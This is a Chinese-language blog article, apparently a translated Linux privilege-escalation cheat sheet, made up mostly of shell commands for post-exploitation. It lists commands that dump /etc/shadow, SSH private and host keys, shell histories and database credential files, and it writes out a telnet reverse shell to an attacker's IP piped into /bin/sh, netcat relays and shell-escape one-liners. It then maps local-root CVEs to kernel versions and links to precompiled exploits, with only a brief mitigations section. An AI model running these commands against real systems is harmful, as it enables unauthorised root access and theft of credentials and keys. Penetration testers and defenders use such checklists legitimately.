Linux权限提升和收集敏感信息需要做的那些事情!?

在开始之前我想说明的是,我不是专家。 据我所知,在这个大的领域里没有准确的答案。 这只是我的发现,验证和共享(我的出发点)。 下面是一些命令的组合,可以达到相同的目的。我知道还有更多的方法, 这只是一个粗略的基本指南。 由于Linux系统版本间差别非常大,并不是每个命令都适用于每个系统。

   枚举是关键!

(Linux)的提权是怎么一回事:

  • 收集–枚举,枚举和一些更多的枚举。
  • 过程–通过数据排序,分析和确定优先次序。
  • 搜索–知道搜索什么和在哪里可以找到漏洞代码。
  • 适应–自定义的漏洞,所以它适合。每个系统的工作并不是每一个漏洞“都固定不变”。
  • 尝试–做好准备,试验和错误。

 

操作系统类型

系统版本是多少?

cat /etc/issue cat /etc/*-release

cat /etc/lsb-release        # Debian based

cat /etc/redhat-release # Redhat based

 

内核是什么版本?x64位?

cat /proc/version

uname -a

uname -mrs

rpm -q kernel

dmesg | grep Linux

ls /boot | grep vmlinuz-

 

环境变量里有什么?

cat /etc/profile

cat /etc/bashrc

cat ~/.bash_profile

cat ~/.bashrc

cat ~/.bash_logout

env

set

 

是否有打印机?

lpstat -a

 

 

应用程序和服务

正在运行什么服务?具有什么用户权限?

ps aux

ps -ef

top

cat /etc/services

 

哪些进程具有root权限?检查这些进程或者程序看起来是否有漏洞!

ps aux | grep root

ps -ef | grep root

 

安装了哪些应用程序?是什么版本?哪些是当前正在运行的?

ls -alh /usr/bin/

ls -alh /sbin/

dpkg -l

rpm -qa

ls -alh /var/cache/apt/archivesO

ls -alh /var/cache/yum/

 

Service设置是否有错误配置?是否有易受攻击的插件?

cat /etc/syslog.conf

cat /etc/chttp.conf

cat /etc/lighttpd.conf

cat /etc/cups/cupsd.conf

cat /etc/inetd.conf

cat /etc/apache2/apache2.conf

cat /etc/my.conf

cat /etc/httpd/conf/httpd.conf

cat /opt/lampp/etc/httpd.conf

ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

 

有哪些计划任务?

crontab -l

ls -alh /var/spool/cron

ls -al /etc/ | grep cron

ls -al /etc/cron*

cat /etc/cron*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny

cat /etc/crontab

cat /etc/anacrontab

cat /var/spool/cron/crontabs/root

 

有哪些文本形式保存的用户名或者密码?

grep -i user [filename]

grep -i pass [filename]

grep -C 5 "password" [filename]

find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"  # Joomla

 

 

通信与网络

系统有哪些NIC?它是否连接到另一个网络?

/sbin/ifconfig -a

cat /etc/network/interfaces

cat /etc/sysconfig/network

 

网络配置设置是什么?网络中有什么样的服务器?DHCP服务器?DNS服务器?网关?

cat /etc/resolv.conf

cat /etc/sysconfig/network

cat /etc/networks

iptables -L

hostname

dnsdomainname

 

还有哪些用户和主机正在与系统进行通信?

lsof -i

lsof -i :80

grep 80 /etc/services

netstat -antup

netstat -antpx

netstat -tulpn

chkconfig --list

chkconfig --list | grep 3:on

last

w

 

当前系统缓存有什么?IP/或MAC地址?

arp -e

route

/sbin/route -nee

 

数据包可以嗅探吗?可以看到哪些流量?

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

注意:tcpdump tcp dst [ip] [port]和tcp dst [ip] [port]

 

你有shell权限吗?你可以与系统进行交互吗?

nc -lvp 4444  # Attacker. Input (Commands)

nc -lvp 4445  # Attacker. Ouput (Results)

telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445   # On the targets system. Use the attackers IP!

注意:http : //lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

 

 

可以端口转发吗?(端口重定向)

注意:http : //www.boutell.com/rinetd/

注意:http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

注意:http : //downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip

注意:FPipe.exe -l [本地端口] -r [远程端口] -s [本地端口] [本地IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

 

注意:ssh - [L / R] [本地端口]:[远程IP]:[远程端口] [本地用户] @ [本地IP]

ssh -L 8080:127.0.0.1:80 root@192.168.1.7  # Local Port

ssh -R 8080:127.0.0.1:80 root@192.168.1.7  # Remote Port

 

注意:mknod backpipe p; nc -l -p [远程端口] <backpipe | nc [本地IP] [本地端口]>backpipe

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe # Port Relay

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)

 

可以建立隧道?远程发送本地命令

ssh -D 127.0.0.1:9050 -N [username]@[ip]

proxychains ifconfig

 

 

机密信息和用户

哪个id登录?谁已经在线?用户权限可以做什么?

id

who

w

last

cat /etc/passwd | cut -d: -f1 # List of users

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users

awk -F: '($3 == "0") {print}' /etc/passwd # List of super users

cat /etc/sudoers

sudo -l

 

可以找到哪些敏感文件?

cat /etc/passwd

cat /etc/group

cat /etc/shadow

ls -alh /var/mail/

 

什么有趣的文件在home文件夹里?

ls -ahlR /root/

ls -ahlR /home/

 

密码的默认路径和位置有没有密码?脚本,数据库,配置文件或日志文件?

cat /var/apache2/config.inc

cat /var/lib/mysql/mysql/user.MYD

cat /root/anaconda-ks.cfg

 

用户在做什么?纯文本中是否有密码?他们在编辑什么?

cat ~/.bash_history

cat ~/.nano_history

cat ~/.atftp_history

cat ~/.mysql_history

cat ~/.php_history

 

可以找到哪些用户信息?

cat ~/.bashrc

cat ~/.profile

cat /var/mail/root

cat /var/spool/mail/root

 

可以找到私钥信息吗?

cat ~/.ssh/authorized_keys

cat ~/.ssh/identity.pub

cat ~/.ssh/identity

cat ~/.ssh/id_rsa.pub

cat ~/.ssh/id_rsa

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

cat /etc/ssh/ssh_config

cat /etc/ssh/sshd_config

cat /etc/ssh/ssh_host_dsa_key.pub

cat /etc/ssh/ssh_host_dsa_key

cat /etc/ssh/ssh_host_rsa_key.pub

cat /etc/ssh/ssh_host_rsa_key

cat /etc/ssh/ssh_host_key.pub

cat /etc/ssh/ssh_host_key

 

 

文件系统

哪些配置文件可以写入 /etc/?能够重新配置服务?

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone

ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner

ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group

ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other

find /etc/ -readable -type f 2>/dev/null # Anyone

find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

 

可以在 /var/中找到什么?

ls -alh /var/log

ls -alh /var/mail

ls -alh /var/spool

ls -alh /var/spool/lpd

ls -alh /var/lib/pgsql

ls -alh /var/lib/mysql

cat /var/lib/dhcp3/dhclient.leases

 

网站上的任何设置/文件(隐藏)?有数据库信息的任何设置文件?

ls -alhR /var/www/

ls -alhR /srv/www/htdocs/

ls -alhR /usr/local/www/apache22/data/

ls -alhR /opt/lampp/htdocs/

ls -alhR /var/www/html/

 

日志文件中有什么内容(可以帮助“本地文件包含”!)

cat /etc/httpd/logs/access_log

cat /etc/httpd/logs/access.log

cat /etc/httpd/logs/error_log

cat /etc/httpd/logs/error.log

cat /var/log/apache2/access_log

cat /var/log/apache2/access.log

cat /var/log/apache2/error_log

cat /var/log/apache2/error.log

cat /var/log/apache/access_log

cat /var/log/apache/access.log

cat /var/log/auth.log

cat /var/log/chttp.log

cat /var/log/cups/error_log

cat /var/log/dpkg.log

cat /var/log/faillog

cat /var/log/httpd/access_log

cat /var/log/httpd/access.log

cat /var/log/httpd/error_log

cat /var/log/httpd/error.log

cat /var/log/lastlog

cat /var/log/lighttpd/access.log

cat /var/log/lighttpd/error.log

cat /var/log/lighttpd/lighttpd.access.log

cat /var/log/lighttpd/lighttpd.error.log

cat /var/log/messages

cat /var/log/secure

cat /var/log/syslog

cat /var/log/wtmp

cat /var/log/xferlog

cat /var/log/yum.log

cat /var/run/utmp

cat /var/webmin/miniserv.log

cat /var/www/logs/access_log

cat /var/www/logs/access.log

ls -alh /var/lib/dhcp3/

ls -alh /var/log/postgresql/

ls -alh /var/log/proftpd/

ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

 

注意:http://www.thegeekstuff.com/2011/08/linux-var-log-files/

 

如果命令限制,你如何突破它的限制?

python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

/bin/sh -i

 

文件系统安装分区情况?

mount

df -h

 

是否有挂载的文件系统?

cat /etc/fstab

 

什么高级Linux文件权限在使用?Sticky bits, SUID 和GUID

find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.

find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.

find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID

for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

 

在哪些目录可以写入和执行呢?几个通用的目录:/ tmp目录,/var / tmp目录/ dev /shm目录

find / -writable -type d 2>/dev/null # world-writeable folders

find / -perm -222 -type d 2>/dev/null # world-writeable folders

find / -perm -o w -type d 2>/dev/null # world-writeable folders

find / -perm -o x -type d 2>/dev/null # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders

 

Any "problem" files?可写的,“没有使用"的文件

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files

find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files

 

准备和查找利用代码

什么开发工具/语言被安装/支持?

find / -name perl*

find / -name python*

find / -name gcc*

find / -name cc

 

如何上传文件?

find / -name wget

find / -name nc*

find / -name netcat*

find / -name tftp*

find / -name ftp

 

寻找漏洞利用代码

http://www.exploit-db.com

http://1337day.com

http://www.securiteam.com

http://www.securityfocus.com

http://www.exploitsearch.net

http://metasploit.com/modules/

http://securityreason.com

http://seclists.org/fulldisclosure/

http://www.google.com

 

 

寻找更多关于利用的信息

http://www.cvedetails.com

http://packetstormsecurity.org/files/cve/[CVE]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]

http://www.vulnview.com/cve-details.php?cvename=[CVE]

 

(快速)预编译二进制代码文件

http://web.archive.org/web/20111118031158/

http://tarantula.by.ru/localroot/

http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/

 

一些整理的Linux提取EXP集合!

#CVE  #Description  #Kernels

CVE-2017-1000367  [Sudo]
(Sudo 1.8.6p7 - 1.8.20)

CVE-2017-7494  [Samba Remote execution]
(Samba 3.5.0-4.6.4/4.5.10/4.4.14)

CVE-2016-5195  [Dirty cow]
(Linux kernel>2.6.22 (released in 2007))

CVE-2016-0728  [pp_key]
(3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1)

CVE-2015-7547  [glibc getaddrinfo]
(before Glibc 2.9)

CVE-2015-1328  [overlayfs]
(3.13, 3.16.0, 3.19.0)

CVE-2014-5284  [OSSEC]
(2.8)

CVE-2014-4699  [ptrace]
(before 3.15.4)

CVE-2014-4014  [Local Privilege Escalation]
(before 3.14.8)

CVE-2014-3153  [futex]
(3.3.5 ,3.3.4 ,3.3.2 ,3.2.13 ,3.2.9 ,3.2.1 ,3.1.8 ,3.0.5 ,3.0.4 ,3.0.2 ,3.0.1 ,2.6.39 ,2.6.38 ,2.6.37 ,2.6.35 ,2.6.34 ,2.6.33 ,2.6.32 ,2.6.9 ,2.6.8 ,2.6.7 ,2.6.6 ,2.6.5 ,2.6.4 ,3.2.2 ,3.0.18 ,3.0 ,2.6.8.1)

CVE-2014-0196  [rawmodePTY]
(2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37, 2.6.38, 2.6.39, 3.14, 3.15)

CVE-2014-0038  [timeoutpwn]
(3.4, 3.5, 3.6, 3.7, 3.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1)

CVE-2013-2094  [perf_swevent]
(3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4.0, 3.4.1, 3.4.2, 3.4.3, 3.4.4, 3.4.5, 3.4.6, 3.4.8, 3.4.9, 3.5, 3.6, 3.7, 3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9)

CVE-2013-0268  [msr]
(2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37, 2.6.38, 2.6.39, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4, 3.5, 3.6, 3.7.0, 3.7.6)

CVE-2012-3524  [libdbus]
(libdbus 1.5.x and earlier)

CVE-2012-0056  [memodipper]
(2.6.39, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0)

CVE-2010-4347  [american-sign-language]
( 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)

CVE-2010-4258  [full-nelson]
(2.6.31, 2.6.32, 2.6.35, 2.6.37)

CVE-2010-4073  [half_nelson]
(2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)

CVE-2010-3904  [rds]
(2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)

CVE-2010-3437  [pktcdvd]
(2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)

CVE-2010-3301  [ptrace_kmod2]
(2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34)

CVE-2010-3081  [video4linux]
(2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33)

CVE-2010-2959  [can_bcm]
(2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)

CVE-2010-1146  [reiserfs]
(2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34)

CVE-2010-0415  [do_pages_move]
(2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31)

CVE-2009-3547  [pipe.c_32bit]
(2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28, 2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31)

CVE-2009-2698  [udp_sendmsg_32bit]
(2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19)

CVE-2009-2692  [sock_sendpage]
(2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28, 2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30)

CVE-2009-2692  [sock_sendpage2]
(2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28, 2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30)

CVE-2009-1337  [exit_notify]
(2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29)

CVE-2009-1185  [udev]
(2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29)

CVE-2008-4210  [ftrex]
(2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22)

CVE-2008-0600  [vmsplice2]
(2.6.23, 2.6.24)

CVE-2008-0600  [vmsplice1]
(2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.24.1)

CVE-2006-3626  [h00lyshit]
(2.6.8, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16)

CVE-2006-2451  [raptor_prctl]
(2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17)

CVE-2005-0736  [krad3]
(2.6.5, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11)

CVE-2004-1235  [elflbl]
(2.4.29)

CVE-N/A  [caps_to_root]
(2.6.34, 2.6.35, 2.6.36)

CVE-2004-0077  [mremap_pte]
(2.4.20, 2.2.24, 2.4.25, 2.4.26, 2.4.27)

项目地址:https://github.com/SecWiki/linux-kernel-exploits

 

缓解措施

上述任何信息是否容易找到?

使用第三方自动化脚本/工具试试吧!

 

系统是否完全修补?

系统内核,操作系统,所有应用程序,插件和Web服务是否安装最新补丁?

apt-get update && apt-get upgrade

yum update

 

服务是否以最低级别的特权运行?

例如,你需要以root身份运行MySQL吗?

 

能够从以下网站找到自动运行的脚本?!

http://pentestmonkey.net/tools/unix-privesc-check/

http://labs.portcullis.co.uk/application/enum4linux/

http://bastille-linux.sourceforge.net

 

其他(快速)指南和链接

http://www.0daysecurity.com/penetration-testing/enumeration.html

http://www.microloft.co.uk/hacking/hacking3.htm

 

杂项

http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf

http://pentest.cryptocity.net/files/operations/2009/post_exploitation_fall09.pdf

http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html

 

参考

https://www.0dayhack.com/post-407.html

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation

http://metasploit.lofter.com/post/d9d60_d8fe59

本文由 华盟网 作者:AlexFrankly 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。

0

相关文章

发表评论

电子邮件地址不会被公开。